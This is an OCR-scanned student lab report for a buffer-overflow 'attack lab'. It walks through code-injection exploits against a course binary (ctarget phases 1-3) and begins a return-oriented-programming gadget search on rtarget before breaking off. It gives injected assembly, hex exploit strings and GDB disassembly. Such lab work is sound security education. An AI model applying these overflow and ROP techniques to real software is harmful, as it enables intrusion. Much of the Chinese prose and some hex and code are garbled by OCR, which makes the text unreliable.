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—. ZRHK
. CIHEFREFPRINLEHRER.
. E4% GDB H{AR Y X,
. C iR L) x86-64 PLARAUAD,  BHPEAN [F] 2 i 45 F 2 nrt) AR 05, RS2 3.
. FERMRR G XU R, R PR R e
—. EHI
1. AR TH: MobaXterm (HF5+f: 10.120.11.12, x86-64 JiL4)
BIERS: Linux
il TH: GDB
S g TR Objdump
A% hitp://10.120.11.13:19310/scoreboard
=, KBRNE

Bk buptl Mg, 78 home H3RN AT PAFREI—A> targetn.tar UM, B S5 20 00T S0
README.txt; ctarget; rtarget; cookie.txt; farm.c; hexZ2raw.

ctarget Ml rtarget IBATIS MAMER ATEATAFH, X PR ARG Xt th R . Jdad
RIGTEA I IESL IR ctarget BRI, S04 3 5, B A — PR 747, A ] touch,
5 touch2, B touch3 Wil K, H T IRFF A FE i (F e Wid ROP JyiASE IR rtarget 72
Frindat, 6 2 %, FEfE KRB 2 p/ TR, ST PHESe e E iRE, HEA—
FrE P, SSEUIITA touch2 BX touchd M@ %, I Wi M5 a3 Es Ik
W, AHARFNAY. P, AN SEE AR B A S g A3 ) TAEXS ctraget F1 rtarget 04T S0 HEAT 20
e, HRERAF IR [] L hEAE Sk i) (07 B DA K B 55 B2 /N T B ATLAR 1Y

L R A N WL, JUH SR EOAE A BB Some Advice ##78 . A LR 5
T (HRR) |, MEEEGUBH. A M B LA ps:

—

>~ W DN

o1 &~ W N

Phase | Program | Level | Method | Function | Points
| CTARGET 1 CI touchl 10
2 CTARGET 2 ClI touch2 25
3 CTARGET 3 B | touch3 25
4 RTARGET 2 ROP touch?2 35
5 RTARGET 3 ROP | touch3 5
Cl: Code injection

ROP:  Return-oriented programming


http://10.120.11.13:19310/scoreboard

(—) #ERTAIE
1. fitE

FIESEEG U, ARS8, 1 s 33 H S Y target102.tar S0
iy A2 tar —xvf target102.tar R, 153 target102 SO K H i Y754 S0 README .txt,
A AT SO ctarget . rtarget, c & XM farm.c, A cookie.txt AT $HAT S0 hex2raw.

2022211073@buptl:~$ tar _xvf target102.tar
target102/README. txt
target102/ctarget

target102/rtarget
target102/farm.c
target102/cookie. txt
target102/hex2raw

1. FREKTS 6 XXM

2. AW S, L5
i A2 cat README.txt B A VLA SCHE, U IR T X 7S SCHEE N 2.

2022211073@buptl:~/target102$ cat README.txt
This file contains materials for one instance of the attacklab.

Files:
ctarget

Linux binary with code-injection vulnerability. To be used for phases
1-3 of the assignment.

rtarget

Linux binary with return-oriented programming vulnerability. To be
used for phases 4-5 of the assignment.

cookie. txt
Text file containing 4-byte signature required for this lab instance.

farm.c

Source code for gadget farm present in this instance of rtarget. You
can compile (use flag -Og) and disassemble i1t to look for gadgets.

hex2raw

Utility program to generate byte sequences. See documentation in lab
handout.

2 :README . txt
ctarget. rtarget X PRI AT SCHE, 43 H2BT B 1 ~ BB 3 iU ATE (code-injection)
FETBE 4 ~ 5 [T )R [l 4R AR T (return-oriented programming) FRIAR)Y.
#y A4 objdump —d ctarget > ctarget.txt Fil objdump —d rtarget > rtarget.txt, 2 H X A 7]
SAAT S SIS RS RAFE SUAR SUAF ctarget.txt . rtarget.txt 7Y, PAEZJSHIM T 5 ER.
A2 cat ctarget.txt BA SALI A, WERZMLTT (W0 00) AT AAFRHdEs, Al A



\ ol

PLEs /Nl
2022211073@bupt1:~/target102$ objdump -d ctarget > ctarget.txt
2022211073@buptl:~/target102$ objdump -d rtarget > rtarget.txt
2022211073@buptl:~/target102$ cat ctarget.txt

ctarget: file format elf64-x86-64

Disassembly of section .intit:

0000000000400c48 <_init>:
400c48: 48 83 ec 08 $0x8,%rsp
400c4c: 48 8b 05 a5 43 20 00 0x2043a5(%rip),%rax # 604ff8 <_ gmon_start_ >
400c53: 48 85 c0O %rax,%rax
400c56: 74 05 400c5d <_init+0x15>
400c58: e8 43 02 00 00 400ead <_ gmon_start_ @plt>
400c5d: 48 83 c4 08 $0x8,%rsp
400c61: c3

Disassembly of section .plt:
0000000000400c70 <.plt>:
400c70: ff 35 92 43 0x204392(%rip) # 605008 <_GLOBAL_OFFSET_TABLE_+0x8>

400c76: ff 25 94 43 *0x204394(%rip) # 605010 < GLOBAL_OFFSET_TABLE_+0x10>
400c7c: of 1f 40 00 0x0(%rax)

3. &JLCHR ctarget. rtarget
cookie.txt & MUFEATI XA S, RS2 gn b 2o i 3.
i A 14> cat cookie.txt, 53! cookie {H°A 0x32046301.

2022211073@buptl:~/target102$ cat cookie.txt
0x32046301

4.cookie 1
farm.c 22—~ ¢ 16 H XM, =2 rtarget SEBITPETEL “gadget farm” HYIEALAD, FTRAM A -Og AR
R 3R 52 BRI o) o ] A Y L
> vi farm.c, #&& farm.c XIF.

start_farm() getval_403()

return 1; return 2

setval_215( mid_farm()

return 1;
addval_302(

return x + 74

add_xy/(

getval_246() return x+y;

return addval_388(

addval_355( return x + 3

return x + 2
setval_476(

getval_223()

return 24
addval_322(

setval_353(

return x +

addval_456(

etval_356
< =20, return x + 3

return 3




addval_283(

return x +

getval 252()

return 2z

getval_221()

return

getval 351()

return

getval_483()

return

getval 358()

return 2

setval_448(

getval_376()

return

addval_168(

return x +

addval_326(

return x + 2

addval_180(

return x +

setval_420(

addval_187

return x +

getval_205()

return

setval 272(

return x + 2¢

setval_401(

end_farm( )

return 1;

5~10:farm.c JECRE

addval_253(

return x + 2

setval_344(

return

addval_468(

return x + 3

getval_383()

return

hex@raw s&— AT RATSCOF,  FTLAKE P BTG i+ 7S bR F M L g 46 2

AP LT PR 202 KRB B ATEA hex.txt SCHH, SAJSTE target102 H 3k

T AFE 4 hex2raw < hex.txt | /ctarget fi ] hex2raw L H 7R F, PUTEGE.



=) BrEel
1. AAEUHS, WLt
UGB SCERN, BB 1 XTI HARRRIT A ctarget. ZFRTSEUR T BREK test, TERRZK test
W T 064K getbuf, FIH getbuf H1Y Gets BREXMBRIERT A P SEHUFAF R
FIG LIRS, Gets eREMRLTARMEZE BREL gets(). R BREN et X e U478, 1325 \n'
ISP, FEAFTEdE XA

1 unsigned getbuf()

2{

3 char buf BUFFER _SIZE];
4 Gets(buf);

5 return 1;

6}

11. BREL getbuf

1 void test()

2 {

3 int val;

4 val = getbuf();

5 printf("No exploit. Getbuf returned 0x%x\n", val);
6}

B 12, BREL test
WELIX A R ECT A, IEFEAEOLT, getbuf BTN Gets SREUm AR FAFR G, PATH L
FTH) return 154, IR[E] test PRAR, FFFTENH test RS 5 ATHIEA]. SRIM, SEEGULRHSIRIRA],
TE ctarget IR AH 73— PE%K touchl. FRATHIESS /2 1k ctarget 2T AT getbuf PEELE A% [0 5

test PRAY, T2 HAT touchl ALY,

1 void touch1()

24

3 vlevel = 1; /* Part of validation protocol */
4 printf("Touchl!: You called touch1()\n");
5 validate(1);

6 exit(0);

7}

Al 13. %K touchi
R, SR A Bl BB M T Gets BRARIRAE, RIHE R IR 2 18] R/ A BRI T
U, PR B FAF R A B IR Y, X 28 P R A S A A e 1 S 25 TR N
TR Is TR P, A A AT R A S AR P e, DRI Y A A s i Y 25 ) K
T BLR S I, i HH 0 B T H 2 7 S R AR S A P, B o R ik
Hiik,



2. HEILHCSIH0Hr
At
AT G A TR

4 gdb ctarget i

AR, AL

disas test,

(gdb) disas test
Dump of assembler code for function test:

<H+0>: sub
<H4>:
<+9>:
<+14>:

$0x8,%rsp

$0x0,%eax
<getbuf>

%seax ,sedx

$0x403278,%es1

$0x1,%ed1

$0x0 ,%eax

mov
callqg
mov
mov
mov
mov
callqg
add
retq

<+16>:

<+21>:
<+26>:
<+31>:
<+36>:
<+40>:

$0x8,%rsp

End of assembler dump.

Bl 14. BREK test AT ZRAHD

(gdb) disas getbuf
Dump of assembler code for function getbuf:

<+0>:
<+4>:
<+7>:
<+12>:
<+17>:
<+21>:

sub $0x18,%rsp

mov %rsp,%rdi
callq <Gets
mov $0x1,%eax

add $0x18,%rsp
retq

End of assembler dump.

(gdb) disas Gets

15. BREL getbuf JL4RFLAD

Dump of assembler code for function Gets:

End of assembler dump.

pUE (- LM ETIPTI
23[8]H 0x18 (& 15<+0>4t)
BRI L 45 T %rdi, X

i b, AFJEH Gets RAEUN

PRER test 4 BCAIHEZS

H g Gets M

%ri2
%srbp
%rbx
srdi,%sri2
$0x0,0x2045ca(%rip)
Srdi,%srbx
<Gets+39->
0x1(%rbx),%rbp
%al, (%rbx)
%al,%edi
<save_char>
%rbp,%rbx
0x203979(%rip),%rdi
< I0 getc@plt>
$oxffffffff,%seax
<Gets+61>
$0xa,%seax
<Gets+22>
$0x0, (%rbx)
$0x0,%eax
<save_term>
%ril2,%rax
%rbx
%rbp
%ri2

<+0>:
<H+2>:
<358
<H4>:
<750
<H17>:
<+20>:
<+22>:
<+26>:
<+28>:
<4315
<+36>:
<+39>:
<+H46>: callqg
<k51%: cmp
<+54>: je
<+56>: cmp
<+59>: jne
<+61>: movb
<+64>: mov
<+69>: callq
<+74>: mov
<+77>: pop
<+78>: pop
<+79>: pop
<+81>: retq

B2 Gets ROC4RCHG

push
push
push
mov
mov1l
mov
Jmp
lea
mov
movzbl
callq
mov
mov

& 16.

PRAL Gets 1A - Beik 2 18] . FEVE ) Gets B
PR U A AT ER AV B

(WF 7 B AR FS HiE 4 0x401b69)

<_ printf_chk@plt>

disas getbuf, disas Gets &H =4

<gets_cnt>

<infile>

PREL

RN

HIJ’

LRI

SN 0x8 (8] 14<+0>4b) , BEEK getbuf 43 By FR

getbuf PRECE:

i A T



I ES YL

0x8 PR test FISEN

- — - PR test AR T
0x8 test 14 ] B ZX getbuf )5 A [B] itk
0x18 getbuf PRELS KL

PR getbuf FAAR T

0x8 getbuf U JH PRAEL Gets Ji5 FJaR o] 3Bk
B RFA7A%rdi 77 if A2 B Fp AR AL P ik, ZZd IX B A3 A AR AR UAL . R I 4y
BCAZ AR KB 0x18  (TEIh 24)
Uk, FAFERAIERCE 24 5. FATAFEAEZ IG5 touchl BB EHIHE, HETT LA
B test PREL IR BIHIE  (RRHPFRZIAL) BCH touchl PREAG B HuhE, MR touchl PR%X.
3. A touchl PRELHY 1 HbHk
i A\ A% disas touchl, #F touchl R EHdE, 54125 0x00000000004018dd.

(gdb) disas touchl

Dump of assembler code for function touchl:
<+0>: sub $0x8,%rsp
<H4>: shr $0x4,%rsp
<+8>: shl $0x4,%rsp
<+12>: mov 1 $0x1,0x203¢c29(%rip) <vlevel>
422> mov $0x403230,%ed 1
<+27>: callq <puts@plt>
<+32>: mov $0x1,%ed1
<+37>: callq <validate>
<+H42>: mov $0x0,%ed 1
<+47>: callq <exit@plt>

End of assembler dump.
E17. &EErouch! R RICHS

4. HERNFIFH
A2 vihexL.txt, HEUIT 16 HEHlHIA .
Bl 24 FH5- AT EHIA, J5 8 F715°4 touchl Hidk 0x00000000004018dd /N IFH1], S5fE1F .

00 00 00 0O 00 60 0O 00
00 00 00 0O 00 00 00 00
00 00 00 0O 00 OO0 0O 00
dd 18 40 00 00 00 00 Of

E18: hex1.txt
5. sfrely, WE
i A2 /hex2raw < hex1.txt | ./ctarget, B7~ pass, PTE 145
2@22211073@bupt1:~/target162$ ./hex2raw < hexl.txt | ./ctarget

Cook1le: 0x32046301
Type string:Touchl!: You called touchil()

Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

B 19. BEX 1 @it



(=) BrEe2
1. AAEUHS, WLt
HIBERI ST, BB 2 X H SRR 508 ctarget. SBMBe—3M, AR5 T8
B test, TERREL test PR T ER K getbuf, FIH Gets BRELMFRTER A HHEEEUFAF .
AR %I B AT 55 22 getbuf JFaR[B] touch2 RS, WRELPRAL touch2 VRACIDASH, HiAL
AIZ Y val T8 cookie [EAHSE, IR ZE AL & AR val fHH cookie.

1 void touch2(unsigned val)

2{

3 vlevel = 2; /* Part of validation protocol */

4 if (val = cookie) {

5 printf("Touch2!: You called touch2(0x%.8x)\n", val);
6 validate(2);

7} else {

8 printf("Misfire: You called touch2(0x%.8x)\n", val);
9 fail(2);

10 }

11 exit(0);

12}

20. PREL touch?
EAFH I B 1 09, 2R A getbuf BkF% 2 PR %L touch2 J5 TiAB L val HIMH.
A DASECRE AR AR HE 1% 3 (8] Sk e G o DL, AR 22 o XA A 44 B ARG AR val HOMEL,
eI ] touch2 BRARL, A AR i B 24 A\ AT R 451
K NE Ui

MU val M cookie | o
24— ” Zerh Xy AAURS, T
IR [A] touch? pEER

8 FT ZZh X Hhk TR g X
2. ALY
A2 gdb ctarget FEA L. #i A4 disas touch2 & PREL touch?2 I ZmAHS .

(gdb) disas touch2
Dump of assembler code for function touch2:
<4+0>: b $0x8,%rsp
<+H4>: %sed
<+6>:
<+10>: %rsp
<+14>: $0x2,0x203bf3(%rip) <vlevel>
<4+24>: %edi,0x203bf5(%rip) <cookie>
<+30>: j <touch2+64>
<+32>: $0x403258,%es 1
<437>: $0x1,%ed1
<4+42>: $0x0 ,%eax
<+H47>: <_ printf_chkeplt>
<+52>: $0x2,%ed 1
<+57>: <validate>
<+62>: j <touch2+94>
<+64>: $0x403280,%es 1
<+69>: $0x1,%ed1
<+74>: $0x0 ,%eax
<+79>: <__printf_chkeplt>
<+84>: $0x2,%ed1
<+89>: <fail>
<4+94>: $0x0,%ed 1
<+99>: <exiteplt>
End of assembler dump.

21. & touch? B RALHD




RIFIRREN touch2 BYHBAE 0x0000000000401911.

WeAb, AE<+24>ALH) cmp 1547, UL val (EAFETEY%edi TAFas N, AR SEOXAME ] DAGR 5

mov F§4.

R, AARZ XKL,

: file

, line 12.

Starting program: /students/2022211073/target102/ctarge

Cookile: 0x32046301

Breakpoint 2, getbuf () at

12

(gdb) disas

212

Dump of assembler code for function getbuf:

>
= <H4>:

1>t

<+H12>:

<+17>:

<t+21>:
End of assembler dump.

sub
mov
callqg
mov
add
retq

$0x18,%rsp
srsp,srdi
<Gets>
$0x1,%eax
$0x18,%rsp

B 22. REW S
M2 infor, BHERTTE%rsp HIME, BI R Zgah X% Ak

(gdb) 1info r
0x0
0x55586000
0x0
0x0
0x7274732065707954
Ox7ffff7fba7e0d
0x55685fe8
0x55669498
0x0
0xc
Ox7ffff7fef500
Ox7ffff7f57b60
0x1
0x0
0x0
0x0
0x4018cb
0x212
0x33
0x2b
0x0
0x0
0x0
0x0

0
1431855104
0

0
8247343400600238420
140737353852896
0x55685fe8
0x55669498

0

12

140737354069248
140737353448288

il

0

0

0

0x4018cb <getbuf+4>

23 ZZMXHh it

AT ANZE v DXCHiAE 0x0000000055669498.
3. WEHHATAH

Y, WS G X AIES . EABYBEE A cookie {HR 0x32046301; ST/ TR AT val
{EAFHAEY%ordi 2EATRS P

WA vip2.s, PG M XA . %2 movq $0x32046301, %rdi, fi val 5
T cookie fH; &5 " pushq $0x401911 J&RFBEEL touch2 FYHBHEFE AR H; 25 = ret 180, Bt
RBRFEFI R TN A R, RIBkA 21 B %K touch2.



E24. p2.sHE
A2 gee —c p2.s, ik p2.s HWHIRIM p2.o; Hi Afr4 objdump -d p2.0, I p2.o,
PAFX =ATHR WP
48 c7¢c¢7 016304 3268 {721 0600 c3

2022211073@buptl:~/target102$ gcc -c p2.s
2022211073@buptl:~/target162$ objdump -d p2.o0

p2.0: file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 01 63 04 32 mov $0x32046301,%rd1
7 68 11 19 40 00 pushg $0x401911
c: (e5) retq

& 25 p2.o XML
PR AR R I 0P XARRS RSy . PR L 8 AT v KMkl R FRATTTR Z 45
FREIA
WA vihex2.txt, MEWT 16 S A, B 24 FA7 N EP AT 4, J5 8 F7
2% b X itk 0x0000000055669498 Fi /N 41

48 c/7 c/7 01 63 04 32 68
11 19 40 00 c3 00 00 00
00 00 0O 00 00 00 00 0O
98 94 66 55 00 00 00 Of

E26: hex2.txt
4. BfTREfY, W

By A4 /hex2raw < hex2.txt | /ctarget, ‘@7~ pass, BBk 2 2%

2022211073@buptl:~/target102$ ./hex2raw < hex2.txt | ./ctarget
Cook1le: 0x32046301
Type string:Touch2!: You called touch2(0x32046301)

Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

27. MEr 2 @id
() Brees
1. ARV, W20t
HI 3 A SN, BB 3 R HFRERIFAII N ctarget. MBI 4572 getbuf BRENSTH G
1R8] touch3 AAHS, JEREERFIRY Bt 2 TEAAID 22U ULES R %K touch3 B TEATHL:



1 /* Compare string to hex represention of unsigned value */
2 int hexmatch(unsigned val, char *sval)

3¢

4 char cbuf110];

5 /* Make position of check string unpredictable */

6 char *s = cbuf + random() % 100;

7 sprintf(s, "%.8x", val);

8 return strnemp(sval, s, 9) = 0;

9}

10

11 void touch3(char *sval)

12

13 vlevel = 3; /* Part of validation protocol */

14 if (hexmatch(cookie, sval)) {

15 printf("Touch3!: You called touch3(\"%s\")\n", sval);
16 validate(3);

17 } else {

18 printf("Misfire: You called touch3(\"%s\")\n", sval);
19 fail(3);

20}

21 exit(0);

22}

28 BR% touch3 R EL hexmatch AIIRIAD
AR B B B 2 X 1):
IR A touch IS ENEAURF /2 unsigned, T2 char*. XEIRFE, cookie NAEFHE
BB 2 — AR SLRIEUE A (RISE L 454 movg $0x32046301, %rdi) I BEAE S i X HH 9
AEAFA# cookie FUFAFERIER, FiRF cookie TFAFHF HY B HuhE A% AY%6rdi
PREL touch3 IR TH ] T BREL hexmatch, HiR[EMEN 1 WA Bz, SLim it ik
$2%, hexmatch BIZUH strnemp BREX L AR T, W RERE TG getbuf e XIER 2> N FE.
Pt, A FEZEHEEE cookie FAFH AR AL E.
2. BEHEIGAEIH0Hr
i A4 gdb ctarget #EA VK., iy A4 disas touch3, disas hexmatch, &I,

(gdb) disas touch3

Dump of assembler code for function touch3:
<+H0>: push  %rbx
<H1>: mov
<H+H4>: shr %
<+8>: shl $0x4,%rsp

<+12>: movl $0x3,0x203adc(%rip) <vlevel>
<H+22>: mov %srdi,%rsi
<+25>: mov Ox203adb( %rip),%edi <cookie>
<H+31>: callqg <hexmatch>
<+36>: test %seax ,%seax
<+38>: je <touch3+75>
<+H40>: mov %rbx ,%rdx
<+H43>: $0x4032a8,%es 1
<+48>: $0x1,%edl
<+53>: $0x0,%eax
<+58>: <__printf_chkeplt>
<+63>: $0x3,%ed 1
<+68>: <validate>
<+73>: j <touch3+108>
<+75>: %rbx,%srdx
<+78>: $0x4032d0,%es i
<+83>: $0x1,%edl
<+88>: $0x0,%eax
<+93>: <_ printf_chkeplt>
<+98>: $0x3,%ed 1
<+103>: <fail>
<+108>: $0x0,%ed 1
<+113>: <exit@plt>
End of assembler dump.

& 29. BRE touch3 BYC BACHD




(gdb) disas hexmatch
Dump of assembler code for function hexmatch:
<+0>: push  %ri2
<A+2>: push  %rbp
<+3>: push  %rbx
<+4>: add $OXTFffffffffffff80,%rsp
<+8>: mov %edi,%ebp
<+10>: mov %rsi,%rbx
<+13>: mov %fs:0x28,%rax
<H+22>: mov %rax,0x78(%rsp)
<+27>: xor %eax,%eax
<+29>: callqg <random@plt>
<+34>: mov %rax,%rex
<+37>: movabs $0xa3d70a3d70a3d70b,%rdx
<+47>: imul  %rdx
<+50>: add %rex,%srdx
<+53>: sar $0x6,%rdx
<+57>: mov %IrcX,%srax
<+60>: sar $0x3f,%rax
<+64>: sub %rax,%srdx
<+67>: lea (%rdx,%rdx,4),%rax
<H+71>: lea (%rax,%rax,4),%rdx
<+755: lea 0x0( ,%rdx,4),%rax
<+83>: sub %rax,S%rcx
<+86>: lea (%rsp,%rcx,1),%ri2
<+90>: mov %ebp,%rad
<+93>: mov $0x40324d,%ecx
<+98>: mov $OXTFFFFfffffffffff,%srdx
<+105>: mov $0x1,%es1
<+110>: mov %ri2,%rdi
<+113>: mov $0x0,%eax
<+118>: callg <_ sprintf_chk@plt>
<+123>: mov $0x9,%edx

<+128>: mov %ri2,%srsi
<+131>: mov %rbx,%srdi
<+134>: callq <strncmpeplt>
<+139>: test %eax, %seax
<+141>: sete %al
<+144>: mov 0x78(%rsp),%rbx
<+149>: xor %fs:0x28,%rbx

——Type <RET> for more, q to quit, c to continue without paging--c
<+158>: je <hexmatch+165>
<+160>: callq <_ stack_chk_fatile@plt>
<+165>: movzbl %al,%eax
<+168>: sub $oxFFFfffffffffff80,%rsp
<+172>: pop %rbx
<+173>: pop %rbp
<t+174>: pop %ri2
<+176>: retq

End of assembler dump.

30~31: BREL hexmatch HIC4RLHS
Hi &l 29 W] A1, touch3 PBRELE Hidk 0x0000000000401a2a.
WZE hexmatch ERETL AR ACHS, Hh<+4>FTRY4E 4 add BT8O0, Yorsp, <+22>1THIHH
mov %rax, 0x78(%rsp)SF &I, ARIHEH K4 T W%, FRER MBS R Zoh XN, FATLHR G

REEARM AR, (R AT EIE T SC5s i B BT A9 “hexmatch PRZIUHT strnemp AL 2 RF
B, BB getbuf ZEni X BYERSr NAE”

AW ]I — N BB A i i RR S5 -
SrERKE N7 Wi

4§>

0x8 PREN test FIZEk ) X
PR test A% i

0x8 test Y4 ] BREXL getbuf Ji5 A{a [B] Hihik

0x18 getbuf B 3@172%3551

PR getbuf FA)AR T
0x8 getbuf 4 BAEX Gets J5 2% 0] ik




T getbuf RISFIESE (B AFAFERRIET 24 -715) ATRES B hexmatch BREAI strnemp PEEY
M FEARARAE W, T AT Gt AR IN C AR TR AT test BRBUNTE 2791 T, PRIFRATAT LA
% JERF cookie (EAFRHAE test BRALHYERMIY, Rl BeAE Zerh KL Z J5 (BR&5 8 P iR iR (1 8)
Zi BOrHr, AW BeRR S AR AR S5 A -

K LEA BiHH
MAZ val oA cookie 3 B
24 Y Zh X AR, T3
1% 1] touch?2 PA%X
8 F7 ZEpp X bk T Bk 2 2 o X
8 F | FAFRIERX cookie [H

3. ER NP
B, AT cookie 1H.
cookie FEME A 0x32046301, #i Af2 man ascii 25 & XM [ ascii 3<.

(¢}
1
2
3
4
5
6
i
8
9

O2-w—MAN XTI <cH0-3QT

NV A e

32 ascii TRAYERDEE
] PATRHI cookie HI AR Fn - 33 32 30 34 36 33 30 31.

BT RIRA TR ZAFH cookie FAAHIHEIE, HAEE test BRI ML

iy A\ fir % disas test AL F test PAEHIC R UHS, BNV getbuf AYFCASHIAE (0x401229)
BT b *0x401aad WHEW S, FHHIAMS run, B1TRF, EREW S A%rsp FI(E, B H
0x556694b8, 153 cookie TFAFH A7 fiff i itk

(gdb) disas test

Dump of assembler code for function test:
<4+0>: sub $0x8,%rsp
<445 mov $0x0 ,%eax
<+9>: callq <getbuf>
<+14>: mov %eax , sedx
<+16>: mov $0x403218,%es1
<H21>: mov $0x1,%ed1

<+26>: mov $0x0 ,%eax
<+31>: callq <_ printf_chkeplt>
<+36>: add $0x8,%rsp
<+40>: retq
End of assembler dump.
(gdb) b *0x401aa9
Breakpoint 4 at : file

33. 7E getbuf REEEWT S



(gdb) run

Starting program: /students/2022211073/target102/ctarget
Cookie: 0x32046301

Breakpoint 4,

97 in
(gdb) info r
rax

rbx

GEX

rdx

Psi

0x0
0x55586000

0x0

ox0
0x7274732065707954
Ox7ffff7fba7e0
0x55685fe8
0x556694b8

0x0

Oxc

Ox7ffff7fef500
Ox7ffff7f57b60

Ox1

0x0

0x0

0x0

0x401aa9

0x216

0x33

0x2b

ox0
0x0
0x0
0x0

in test () at

0

1431855104

0

0
8247343400600238420
140737353852896
06x55685fe8
0x556694b8

0

12
140737354069248
140737353448288
1

0

0

0
0x4012a9 <test+9>
[ PF AF IF ]

(0]
34. EE%FSD %:ﬁ%%

M vip3.s, MG H . 5B—H mov 0x556694b8, %rdi, fif sval T cookie
FAFERRIHAE; 5 20 pushq $0x401a2a, RFREEX touch3 AYSBHEE AR 55 =2 ret 1R [9],

B 35. p3.s AR

S 2 KL, g, SALg, AR AL AR AT
48 c7 ¢7 b8 94 66 55 68 2a 1a 40 00 ¢3

2022211073@buptl:~/target102$ gcc -c p3.s
2022211073@buptl:~/target102$ objdump -d p3.o

p3.0: file format elf64-x86-64

.text:

Disassembly of section

0000000000000000 <.text>:
0: 48 c7 c7 b8 94 66 55
7: 68 2a 1a 40 00
Cit (o]

mov $0x556694b8,%rd1
pushg $0x401a2a
retg

36: p3.0 XML
BEoA i AP A B G XA 0 BHAS | 8 AN Ry S XMk, DA K 8 4~

FRrERFER, BN RMFEN TR A
i A4 vihex3.txt, ZREHUT 16 HEHlEA . BT 24 FAT RN Erh KA OHNE, Z 51 8
FAT R X H4iE 0x0000000055669498 11)/Ni 741, i 8 TN cookie [HAY FATER TR .

FATHY cookie



48 c7 c7 b8 94 66 55 68
2a la 40 00 c3 00 00 00
00 00 00 0O GO 0O 00 00

98 94 66 55 00 0O 00 0O
33 32 30 34 36 33 30 3f

B37: hex3.txt
4. BITRERF, WD
A2 Jhex2raw < hex3.txt | ./ctarget, @7~ pass, MTEX 3 450K,

2022211073@buptl:~/target102$ ./hex2raw < hex3.txt | ./ctarget
Cook1le: 0x32046301
Type string:Touch3!: You called touch3("32046301")

Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

38. Brkx 3 @i
) B4
1. AAEUHS, WLt

HIBERI ST, BB 4 X5V R HFRFEP 2SN T rtarget.

AR BRI R RIS EA (code-injection) [ A NBGHEFEY, X2 A rtarget i
TPIMERPT IR — PSR, [RFTIovimi e kA L8 (bedn, FRATIeikm
B X R ARhE, MTICEIEAACRS) 5 “e M R EEOR, B AR Bihric A al i

T (lean, FATERTE 2. 3 TP EHER Y AR AU TR AT

SEIGE B AL T — b IR (M gR AR (return-—oriented programming) X TR, BIYF rtarget
A ARD B TP, SCEl RN R ThRE . P BenAT 55 2 A 3k Ay X0 e A T 28
iy, Al rtarget B2 P AT getbuf BREIUG AR 12 test BREL, T ZHAT touch2 WIS . SHrE: 2
KA, FFEHERF touch2 & AIS%L val M cookie fH, FFHAT touch2 IALHS

KT rop T3, SEEG UL IR F):

(1) FAHEIA AR PR T 75 (PR gadget) . HA> gadget E—PEE 6L
T AR ret 45, X 1 AR P N —1> gadget.
(2) gadget farm 7E rtarget #2311 start_farm F end_farm fAA5 8, AT DAMIX B
FRIATIEELRY gadget.
(3) A —LLRRIRIIE 2 /R BT AL
movq. popq: UKl 39
ret: 0xc3



nop: 0x90 (EFEFITEASM 1, A HMIEH)

A. Encodings of movq instructions

movg S5, D

Source Destination [}
S Grax Srcx Srdx $rbx ST & $rsi srdi
8 89 cO | 48 89 cl | 48 89 48 89 c3 | 48 48 89 c5 | 48 89 c6 | 48 89 c7
48 89 c8 | 48 89 c9 | 48 89 48 89 cb | 48 8¢ 48 89 cd | 48 89 ce | 48 89 cf
48 89 do0 | 48 89 d1 | 48 89 48 89 d3 | 48 89 d4 | 48 89 d5 | 48 89 dé | 48 89 47
8 89 48 | 48 89 d9 | 48 B9 48 89 db | 48 89 dc | 48 89 dd | 48 89 de | 48 89 df
8 89 e0 | 48 89 o1 | 48 89 48 89 o3 48 89 e4 | 48 89 o5 | 48 89 e6 | 48 89 o7
48 89 e8 | 48 89 9 | 48 89 48 89 eb [ 48 89 ec | 48 89 ed | 48 80 ee | 48 89 ef
48 89 fO | 48 89 f1 | 48 89 48 89 £3 | 48 89 f4 | 48 89 £5 | 48 89 f6 | 48 89 f7
48 89 f8 | 48 89 f9 | 48 89 48 89 fb | 48 89 fc | 48 89 fd | 48 89 fe | 48 89 ff
B. Encodings of popq instructions
Operation Register
%rax | &rcx | %rdx | %rbx | %rsp | %rbp | %rsi | %rdi
popg R 58 | 59 | 5a | 56 | 5¢ | 5d | 5e | 5f
C. Encodings of mow1 instructions
movl S, D
Destination [)
Feax %ecx %edx %ebx %esp %ebp %esi %edi
89 89 cl |89 c2 | 89 3|89 c4 | 89 c5 | 89 cb | 89 €7
89 89 c9 |89 ca |89 cb |89 cc |89 cd| 89 ce | 89 cf
89 89 dl | 89 d2 | 89 d3 | 89 d4 | 89 d5 | 89 dé6 | 89 47
89 89 89 da (89 db | B9 dc | 89 dd | 89 de | 89 df
89 29 80 e2 (89 23 | B9 4 | 89 &5 | 89 e6 | 89 7
89 89 89 ea (89 eb | B9 ec | 89 ed | 89 ee | B9 ef
89 89 890 f2 (89 £3 | 89 f4 | 89 f5 | 89 f6 | 89 £7
89 f 89 89 fa [ 89 fb | B9 fc | 89 fd | 89 fe | B9 ff
D. Encodings of 2-byte functional nop instructions
Operation Regster 1
%cl %dl %bl
andb R, 20 c9 (20 d2 | 20 db
orb R, 08 c9 |08 d2 ( 08 db
cmpb R, 38 c9| 38 d2 | 38 db
testb R, 84 c9 | 84 d2 | 84 db

Ry R T ——
[l 39. —A5 LRI RED
2. BEILIHAM, JmEHHA
B BLPIRATE 2458 T SCHF rtarget.txt, # A2 vi rtarget.txt 1.

0000000000401ac9 <start_farm>: 0000000000401b09 <add_xy>:
401ac b8 01 60 00 00 $0x1,%eax 401b09 48 8d 04 37
401ace: c3) 401b0d: c3

%srdi,%srsi,1),%rax

0000000000401acf <setval_215>: 0000000000401b0e <addval_388>:
: c7 07 08 89 c7 $0xc3c78908, (%srdi) 401boe: 8d 87 89 c1 84
G3 401b14: c3

-0x2d7b3e77(%rd1i) ,%eax

0000000000401ad6 <addval_302>:
401ad6: 8d 87 58 c2 95
401adc: c3

0000000000401add <getval_246>:
401add: b8 48 89 c7 c3
401ae2: ©5)

0000000000401ae3 <addval_355>:
401ae3: 8d 87 48 89 c7
401ae9: c3

0000000000401aea <getval_223>:
401aea: b8 58 96 96 96
401aef: c3

0000000000401af0 <setval_353>:
401afo: c7 07 c2 58 90
401af6: c3

0000000000401af7 <getval_356>:
401af b8 48 89 c7 c3
401afc: c3

0000000000401afd <getval 403>:
b8l27 58 c1 95
c3

0x2c95¢c258(%rd1i) ,%eax

$0xc3c78948,%eax

-0x6e3876b8(%rdi),%eax

$0x90909058 ,%eax

$0x9609058¢2, (%rdi)

